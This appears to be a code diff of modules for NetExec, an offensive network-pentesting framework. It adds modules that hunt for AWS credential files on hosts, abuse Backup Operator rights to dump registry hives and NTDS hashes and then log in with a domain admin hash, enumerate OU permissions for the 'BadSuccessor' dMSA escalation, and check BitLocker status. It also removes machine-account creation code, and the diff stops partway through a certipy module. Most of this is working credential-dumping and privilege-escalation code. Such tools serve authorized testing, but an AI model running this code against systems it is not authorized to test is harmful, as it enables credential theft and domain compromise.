-                create_user = samr.hSamrCreateUser2InDomain(
-                    dce,
-                    domain_handle,
-                    self.__computerName,
-                    samr.USER_WORKSTATION_TRUST_ACCOUNT,
-                    samr.USER_FORCE_PASSWORD_CHANGE,
-                )
-                self.noLDAPRequired = True
-                context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
-            except samr.DCERPCSessionError as e:
-                if e.error_code == 0xC0000022:
-                    context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
-                elif e.error_code == 0xC00002E7:
-                    context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
-                context.log.exception(e)
-            user_handle = create_user["UserHandle"]
-
-        if self.__delete:
-            samr.hSamrDeleteUser(dce, user_handle)
-            context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
-            self.noLDAPRequired = True
-            user_handle = None
-        else:
-            samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
-            if self.__noAdd:
-                context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
-                self.noLDAPRequired = True
-            else:
-                check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-                user_rid = check_for_user["RelativeIds"]["Element"][0]
-                open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
-                user_handle = open_user["UserHandle"]
-                req = samr.SAMPR_USER_INFO_BUFFER()
-                req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
-                req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
-                samr.hSamrSetInformationUser2(dce, user_handle, req)
-                if not self.noLDAPRequired:
-                    context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
-                self.noLDAPRequired = True
-
-            if user_handle is not None:
-                samr.hSamrCloseHandle(dce, user_handle)
-            if domain_handle is not None:
-                samr.hSamrCloseHandle(dce, domain_handle)
-            if serv_handle is not None:
-                samr.hSamrCloseHandle(dce, serv_handle)
-            dce.disconnect()
-
-    def do_ldaps_add(self, connection, context):
-        """
-        Performs an LDAPS add operation.
-
-        Args:
-        ----
-            connection (Connection): The LDAP connection object.
-            context (Context): The context object.
-
-        Returns:
-        -------
-            None
-
-        Raises:
-        ------
-            None
-        """
-        ldap_domain = connection.domain.replace(".", ",dc=")
-        spns = [
-            f"HOST/{self.__computerName}",
-            f"HOST/{self.__computerName}.{connection.domain}",
-            f"RestrictedKrbHost/{self.__computerName}",
-            f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
-        ]
-        ucd = {
-            "dnsHostName": f"{self.__computerName}.{connection.domain}",
-            "userAccountControl": 0x1000,
-            "servicePrincipalName": spns,
-            "sAMAccountName": self.__computerName,
-            "unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
-        }
-        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
-        ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
-        c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
-        c.bind()
-
-        if self.__delete:
-            result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
-            if result:
-                context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
-            elif result is False and c.last_error == "noSuchObject":
-                context.log.highlight(f'Computer named "{self.__computerName}" was not found')
-            elif result is False and c.last_error == "insufficientAccessRights":
-                context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
-            else:
-                context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
-        else:
-            result = c.add(
-                f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
-                ["top", "person", "organizationalPerson", "user", "computer"],
-                ucd
-            )
-            if result:
-                context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
-                context.log.highlight("You can try to verify this with the nxc command:")
-                context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
-            elif result is False and c.last_error == "entryAlreadyExists":
-                context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
-            elif not result:
-                context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
-            c.unbind()

nxc/modules/aws-credentials.py

@@ -0,0 +1,50 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Search for aws credentials files on linux and windows machines
+
+    Module by Fortress
+    """
+
+    name = "aws-credentials"
+    description = "Search for aws credentials files."
+    supported_protocols = ["ssh", "smb", "winrm"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def __init__(self):
+        self.search_path_linux = "'/home/' '/tmp/'"
+        self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
+
+    def options(self, context, module_options):
+        r"""
+        SEARCH_PATH_LINUX	Linux location where to search for aws credentials related files
+                                Default: "'/home/' '/tmp/'"
+
+        SEARCH_PATH_WIN		Windows locations where to search for aws credentials related files
+                                Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
+        """
+        if "SEARCH_PATH_LINUX" in module_options:
+            self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
+
+        if "SEARCH_PATH_WIN" in module_options:
+            self.search_path_win = module_options["SEARCH_PATH_WIN"]
+
+    def on_login(self, context, connection):
+        # search for aws_credentials-related files on linux systems
+        if "ssh" in context.protocol:
+            search_aws_creds_files_payload = f"find {self.search_path_linux} -type f  -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
+            search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
+            output = connection.execute(search_aws_creds_files_cmd)
+        else:
+            # search for aws_credentials-related files on windows systems
+            # we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
+            search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
+            search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
+            output = connection.execute(search_aws_creds_files_cmd_win, True)
+
+        if output:
+            context.log.success("The following files were found:")
+            for line in output.splitlines():
+                context.log.highlight(line.rstrip())

nxc/modules/backup_operator.py

@@ -0,0 +1,127 @@
+import contextlib
+from time import sleep
+
+from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
+from impacket.smbconnection import SessionError
+from impacket.dcerpc.v5 import transport, rrp
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    name = "backup_operator"
+    description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
+    supported_protocols = ["smb"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.domain_admin = None
+        self.domain_admin_hash = None
+        self.deleted_files = True  # flag to check if SAM/SYSTEM/SECURITY files were deleted
+
+    def options(self, context, module_options):
+        """NO OPTIONS"""
+
+    def on_login(self, context, connection):
+        connection.args.share = "SYSVOL"
+        # enable remote registry
+        context.log.display("Triggering RemoteRegistry to start through named pipe...")
+        connection.trigger_winreg()
+        rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
+        rpc.set_smb_connection(connection.conn)
+        if connection.kerberos:
+            rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
+        dce = rpc.get_dce_rpc()
+        if connection.kerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
+        try:
+            dce.connect()
+            dce.bind(rrp.MSRPC_UUID_RRP)
+
+            for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
+                hRootKey, subKey = self._strip_root_key(dce, hive)
+                outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
+                context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
+                try:
+                    ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
+                    rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
+                    context.log.highlight(f"Saved {hive} to {outputFileName}")
+                except Exception as e:
+                    context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
+                    return
+        except (Exception, KeyboardInterrupt) as e:
+            context.log.fail(f"Unexpected error: {e}")
+            return
+        finally:
+            with contextlib.suppress(Exception):
+                dce.disconnect()
+
+        # copy remote file to local
+        log_path = f"{connection.output_filename}."
+        for hive in ["SAM", "SECURITY", "SYSTEM"]:
+            connection.get_file_single(hive, log_path + hive)
+
+        # read local file
+        try:
+            def parse_sam(secret):
+                context.log.highlight(secret)
+                if not self.domain_admin:
+                    first_line = secret.strip().splitlines()[0]
+                    fields = first_line.split(":")
+                    self.domain_admin = fields[0]
+                    self.domain_admin_hash = fields[3]
+
+            local_operations = LocalOperations(log_path + "SYSTEM")
+            boot_key = local_operations.getBootKey()
+            sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
+            sam_hashes.dump()
+            sam_hashes.finish()
+
+            LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
+            LSA.dumpCachedHashes()
+            LSA.dumpSecrets()
+        except Exception as e:
+            context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
+
+        if self.domain_admin:
+            connection.conn.logoff()
+            connection.create_conn_obj()
+            if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
+                try:
+                    context.log.display("Dumping NTDS...")
+                    connection.ntds()
+                except Exception as e:
+                    context.log.fail(f"Fail to dump the NTDS: {e!s}")
+
+                context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
+                connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
+                sleep(0.2)
+                for hive in ["SAM", "SECURITY", "SYSTEM"]:
+                    try:
+                        out = connection.conn.listPath("SYSVOL", hive)
+                        if out:
+                            self.deleted_files = False
+                            context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
+                    except SessionError as e:
+                        context.log.debug(f"File {hive} successfully removed: {e}")
+            else:
+                self.deleted_files = False
+        else:
+            self.deleted_files = False
+
+        if not self.deleted_files:
+            context.log.display("Use the domain admin account to clean the file on the remote host")
+            context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"")  # noqa: Q003
+        else:
+            context.log.display("Successfully deleted dump files !")
+
+    def _strip_root_key(self, dce, key_name):
+        # Let's strip the root key
+        key_name.split("\\")[0]
+        sub_key = "\\".join(key_name.split("\\")[1:])
+        ans = rrp.hOpenLocalMachine(dce)
+        h_root_key = ans["phKey"]
+        return h_root_key, sub_key

nxc/modules/badsuccessor.py

@@ -0,0 +1,216 @@
+from impacket.ldap import ldaptypes
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+from ldap3.protocol.microsoft import security_descriptor_control
+
+RELEVANT_OBJECT_TYPES = {
+    "00000000-0000-0000-0000-000000000000": "All Objects",
+    "0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
+}
+
+EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"]  # Domain Admins, Enterprise Admins
+EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"]  # Builtin Administrators, Local SYSTEM
+
+# Define all access rights
+ACCESS_RIGHTS = {
+    # Generic Rights
+    "GenericRead": 0x80000000,  # ADS_RIGHT_GENERIC_READ
+    "GenericWrite": 0x40000000,  # ADS_RIGHT_GENERIC_WRITE
+    "GenericExecute": 0x20000000,  # ADS_RIGHT_GENERIC_EXECUTE
+    "GenericAll": 0x10000000,  # ADS_RIGHT_GENERIC_ALL
+
+    # Maximum Allowed access type
+    "MaximumAllowed": 0x02000000,
+
+    # Access System Acl access type
+    "AccessSystemSecurity": 0x01000000,  # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
+
+    # Standard access types
+    "Synchronize": 0x00100000,  # ADS_RIGHT_SYNCHRONIZE
+    "WriteOwner": 0x00080000,  # ADS_RIGHT_WRITE_OWNER
+    "WriteDACL": 0x00040000,  # ADS_RIGHT_WRITE_DAC
+    "ReadControl": 0x00020000,  # ADS_RIGHT_READ_CONTROL
+    "Delete": 0x00010000,  # ADS_RIGHT_DELETE
+
+    # Specific rights
+    "AllExtendedRights": 0x00000100,  # ADS_RIGHT_DS_CONTROL_ACCESS
+    "ListObject": 0x00000080,  # ADS_RIGHT_DS_LIST_OBJECT
+    "DeleteTree": 0x00000040,  # ADS_RIGHT_DS_DELETE_TREE
+    "WriteProperties": 0x00000020,  # ADS_RIGHT_DS_WRITE_PROP
+    "ReadProperties": 0x00000010,  # ADS_RIGHT_DS_READ_PROP
+    "Self": 0x00000008,  # ADS_RIGHT_DS_SELF
+    "ListChildObjects": 0x00000004,  # ADS_RIGHT_ACTRL_DS_LIST
+    "DeleteChild": 0x00000002,  # ADS_RIGHT_DS_DELETE_CHILD
+    "CreateChild": 0x00000001,  # ADS_RIGHT_DS_CREATE_CHILD
+}
+
+# Define which rights are considered relevant for potential abuse
+RELEVANT_RIGHTS = {
+    "GenericAll": ACCESS_RIGHTS["GenericAll"],
+    "GenericWrite": ACCESS_RIGHTS["GenericWrite"],
+    "WriteOwner": ACCESS_RIGHTS["WriteOwner"],
+    "WriteDACL": ACCESS_RIGHTS["WriteDACL"],
+    "CreateChild": ACCESS_RIGHTS["CreateChild"],
+    "WriteProperties": ACCESS_RIGHTS["WriteProperties"],
+    "AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
+}
+
+FUNCTIONAL_LEVELS = {
+    "Windows 2000": 0,
+    "Windows Server 2003": 1,
+    "Windows Server 2003 R2": 2,
+    "Windows Server 2008": 3,
+    "Windows Server 2008 R2": 4,
+    "Windows Server 2012": 5,
+    "Windows Server 2012 R2": 6,
+    "Windows Server 2016": 7,
+    "Windows Server 2019": 8,
+    "Windows Server 2022": 9,
+    "Windows Server 2025": 10,
+}
+
+
+class NXCModule:
+    """
+    -------
+    Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
+    and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
+    """
+
+    name = "badsuccessor"
+    description = "Check if vulnerable to bad successor attack (DMSA)"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def is_excluded_sid(self, sid, domain_sid):
+        if sid in EXCLUDED_SIDS:
+            return True
+        return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
+
+    def get_domain_sid(self):
+        """Retrieve the domain SID from the domain object in LDAP"""
+        r = self.connection.search(
+            searchFilter="(objectClass=domain)",
+            attributes=["objectSid"]
+        )
+        parsed = parse_result_attributes(r)
+        if parsed and "objectSid" in parsed[0]:
+            return parsed[0]["objectSid"]
+
+    def find_bad_successor_ous(self, entries):
+        domain_sid = self.get_domain_sid()
+        results = {}
+        parsed = parse_result_attributes(entries)
+        for entry in parsed:
+            dn = entry["distinguishedName"]
+            sd_data = entry["nTSecurityDescriptor"]
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
+
+            for ace in sd["Dacl"]["Data"]:
+                if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
+                    continue
+
+                has_relevant_right = False
+                mask = int(ace["Ace"]["Mask"]["Mask"])
+                for right_value in RELEVANT_RIGHTS.values():
+                    if mask & right_value:
+                        has_relevant_right = True
+                        break
+
+                if not has_relevant_right:
+                    continue  # Skip this ACE if it doesn't have any relevant rights
+
+                object_type = getattr(ace, "ObjectType", None)
+                if object_type:
+                    object_guid = ldaptypes.bin_to_string(object_type).lower()
+                    if object_guid not in RELEVANT_OBJECT_TYPES:
+                        continue
+
+                sid = ace["Ace"]["Sid"].formatCanonical()
+                if self.is_excluded_sid(sid, domain_sid):
+                    continue
+
+                results.setdefault(sid, []).append(dn)
+
+            if hasattr(sd, "OwnerSid"):
+                owner_sid = str(sd["OwnerSid"])
+                if not self.is_excluded_sid(owner_sid, domain_sid):
+                    results.setdefault(owner_sid, []).append(dn)
+        return results
+
+    def resolve_sid_to_name(self, sid):
+        """
+        Resolves a SID to a samAccountName using LDAP
+
+        Args:
+        ----
+            sid: The SID to resolve
+
+        Returns:
+        -------
+            str: The samAccountName if found, otherwise the original SID
+        """
+        try:
+            search_filter = f"(objectSid={sid})"
+            response = self.connection.search(
+                searchFilter=search_filter,
+                attributes=["sAMAccountName"]
+            )
+
+            parsed = parse_result_attributes(response)
+            if parsed and "sAMAccountName" in parsed[0]:
+                return parsed[0]["sAMAccountName"]
+            return sid
+        except Exception:
+            return sid
+
+    def on_login(self, context, connection):
+        self.connection = connection
+
+        # Check for a domain controller with Windows Server 2025
+        resp = self.connection.search(
+            searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
+            attributes=["operatingSystem", "dNSHostName"]
+        )
+        parsed_resp = parse_result_attributes(resp)
+
+        for dc in parsed_resp:
+            if "2025" in dc["operatingSystem"]:
+                out = connection.resolver(dc["dNSHostName"])
+                dc_ip = out["host"] if out else "Unknown IP"
+                context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
+            else:
+                context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
+
+        # Enumerate dMSA objects
+        controls = security_descriptor_control(sdflags=0x07)  # OWNER_SECURITY_INFORMATION
+        resp = self.connection.search(
+            searchFilter="(objectClass=organizationalUnit)",
+            attributes=["distinguishedName", "nTSecurityDescriptor"],
+            searchControls=controls
+        )
+
+        context.log.debug(f"Found {len(resp)} entries")
+
+        results = self.find_bad_successor_ous(resp)
+
+        if results:
+            context.log.success(f"Found {len(results)} results")
+        else:
+            context.log.highlight("No account found")
+
+        for sid, ous in results.items():
+            samaccountname = self.resolve_sid_to_name(sid)
+
+            for ou in ous:
+                if sid == samaccountname:
+                    context.log.highlight(f"{sid}, {ou}")
+                else:
+                    context.log.highlight(f"{samaccountname} ({sid}), {ou}")

nxc/modules/bh_owned.py

@@ -1,87 +0,0 @@
-# Author:
-#  Romain Bentz (pixis - @hackanddo)
-# Website:
-#  https://beta.hackndo.com [FR]
-#  https://en.hackndo.com [EN]
-
-import sys
-from neo4j import GraphDatabase
-from neo4j.exceptions import AuthError, ServiceUnavailable
-
-
-class NXCModule:
-    name = "bh_owned"
-    description = "Set pwned computer as owned in Bloodhound"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.neo4j_pass = None
-        self.neo4j_user = None
-        self.neo4j_Port = None
-        self.neo4j_URI = None
-
-    def options(self, context, module_options):
-        """
-        URI            URI for Neo4j database (default: 127.0.0.1)
-        PORT           Listening port for Neo4j database (default: 7687)
-        USER           Username for Neo4j database (default: 'neo4j')
-        PASS           Password for Neo4j database (default: 'neo4j')
-        """
-        self.neo4j_URI = "127.0.0.1"
-        self.neo4j_Port = "7687"
-        self.neo4j_user = "neo4j"
-        self.neo4j_pass = "neo4j"
-
-        if module_options and "URI" in module_options:
-            self.neo4j_URI = module_options["URI"]
-        if module_options and "PORT" in module_options:
-            self.neo4j_Port = module_options["PORT"]
-        if module_options and "USER" in module_options:
-            self.neo4j_user = module_options["USER"]
-        if module_options and "PASS" in module_options:
-            self.neo4j_pass = module_options["PASS"]
-
-    def on_admin_login(self, context, connection):
-        domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
-
-        host_fqdn = f"{connection.hostname}.{domain}".upper()
-        uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
-        context.log.debug(f"Neo4j URI: {uri}")
-        context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
-
-        try:
-            driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
-        except AuthError:
-            context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
-            sys.exit()
-        except ServiceUnavailable:
-            context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
-            sys.exit()
-        except Exception as e:
-            context.log.fail("Unexpected error with Neo4J")
-            context.log.debug(f"Error {e}: ")
-            sys.exit()
-
-        with driver.session() as session:
-            try:
-                with session.begin_transaction() as tx:
-                    result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
-                    record = result.single()
-                    try:
-                        value = record.value()
-                    except AttributeError:
-                        value = []
-            except ServiceUnavailable as e:
-                context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
-                context.log.debug(f"Error {e}: ")
-                driver.close()
-                sys.exit()
-        if len(value) > 0:
-            context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
-        else:
-            context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
-        driver.close()

nxc/modules/bitlocker.py

@@ -0,0 +1,141 @@
+import re
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    name = "bitlocker"
+    description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
+    supported_protocols = ["smb", "wmi"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """
+        USAGE:
+
+        NetExec smb <IP> -u <username> -p <password> -M bitlocker
+        NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
+        """
+
+    def on_admin_login(self, context, connection):
+        if context.protocol == "smb":
+            bitlocker_smb = BitLockerSMB(context, connection)
+            bitlocker_smb.check_bitlocker_status()
+        elif context.protocol == "wmi":
+            bitlocker_wmi = BitLockerWMI(context, connection)
+            bitlocker_wmi.check_bitlocker_status()
+
+
+class BitLockerSMB:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        # PowerShell command to check BitLocker volumes status.
+        check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
+
+        try:
+            # Executing the PowerShell command to get BitLocker volumes status.
+            check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
+
+            if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
+                self.context.log.fail("BitLockerVolume not found on target.")
+                return
+
+            # Splitting the output into lines.
+            lines = str(check_bitlocker_command_str_output).splitlines()
+            data_lines = [line for line in lines if re.match(r"\w:", line)]
+
+            for line in data_lines:
+                # Checking every line for starting with drive
+                if line[1] == ":":
+                    parts = line.split()
+                    MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
+
+                    # Checking if BitLocker is enabled.
+                    if protection_status == "On":
+                        self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
+                    else:
+                        self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
+        except Exception as e:
+            self.context.log.exception(f"Exception occurred: {e}")
+
+
+class BitLockerWMI:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        try:
+            # Create a DCOM connection
+            dcom_conn = DCOMConnection(
+                self.connection.host,
+                self.connection.username,
+                self.connection.password,
+                self.connection.domain,
+                self.connection.lmhash,
+                self.connection.nthash,
+                oxidResolver=True,
+                doKerberos=self.connection.kerberos,
+                kdcHost=self.connection.kdcHost)
+
+            try:
+                # CoCreateInstanceEx for WMI login
+                i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+                iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
+
+                # Specify the namespace for BitLocker
+                bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
+
+                # NTLM login for WMI
+                iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
+
+                # Set authentication level
+                iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+
+                # Query to get BitLocker status
+                classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
+                iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
+                encryptionTypeMapping = {
+                    0: "None",
+                    1: "AES_128_WITH_DIFFUSER",
+                    2: "AES_256_WITH_DIFFUSER",
+                    3: "AES_128",
+                    4: "AES_256",
+                    5: "HARDWARE_ENCRYPTION",
+                    6: "XTS_AES_128",
+                    7: "XTS_AES_256_WITH_DIFFUSER"
+                }
+
+                try:
+                    while True:
+                        iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
+                        encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
+                        if iWbemClassObject[0].ProtectionStatus == 1:
+                            self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
+                        else:
+                            if encryptionMethod == 0:  # Should be 0 if disabled
+                                self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
+                except Exception:
+                    pass  # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
+
+                # Release resources
+                iWbemLevel1Login.RemRelease()
+                iWbemServices.RemRelease()
+                dcom_conn.disconnect()
+            except Exception as e:
+                if "WBEM_E_INVALID_NAMESPACE" in str(e):
+                    self.context.log.fail("BitLockerNamespace not found on target.")
+                    dcom_conn.disconnect()
+        except Exception as e:
+            self.context.log.error(f"Error occurred during BitLocker check: {e}")
+            dcom_conn.disconnect()

nxc/modules/certipy-find.py

@@ -0,0 +1,137 @@
+#!/usr/bin/env python3
+import json
+import socket
+from os import makedirs
+from certipy.commands.find import Find
+from certipy.lib.target import Target, DnsResolver
+from certipy.lib.formatting import pretty_print
+from datetime import datetime
+
+from nxc.helpers.misc import CATEGORY
+from nxc.paths import NXC_PATH
+
+
+class NXCModule:
+    """Module made by: @NeffIsBack, @gatariee"""
+    name = "certipy-find"
+    description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """
+        VULN        Show only vulnerable configurations (Default: True)
+        ENABLED     Show only enabled templates
+
+        Export options:
+        TEXT        Export results to a plain text file
+        CSV         Export results to a CSV file
+        JSON        Export results to a JSON file
+        """
+        self.vuln = True
+        self.enabled = False
+        self.output_path = f"{NXC_PATH}/modules/certipy-find"
+        self.json = False
+        self.csv = False
+        self.text = False
+
+        if "VULN" in module_options:
+            self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
+        if "ENABLED" in module_options:
+            self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
+
+        # Export options
+        if "JSON" in module_options:
+            self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
+        if "CSV" in module_options:
+            self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
+        if "TEXT" in module_options:
+            self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
+
+    def on_login(self, context, connection):
+        dns_server = connection.args.dns_server
+        if not dns_server:
+            try:
+                # If connection.host is an IP, use it as DNS
+                socket.inet_aton(connection.host)
+                dns_server = connection.host
+            except Exception:
+                # Otherwise let DnsResolver use system resolver (None)
+                dns_server = None
+
+        resolv = DnsResolver.create(dns_server)
+
+        # prefer connection.hostname if present, otherwise connection.host
+        remote = (connection.hostname or connection.host) or ""
+        remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
+
+        target = Target(
+            resolver=resolv,
+            domain=connection.domain,
+            username=connection.username,
+            password=connection.password,
+            remote_name=connection.remoteName,
+            lmhash=connection.lmhash,
+            nthash=connection.nthash,
+            do_kerberos=connection.kerberos,
+            target_ip=connection.host,
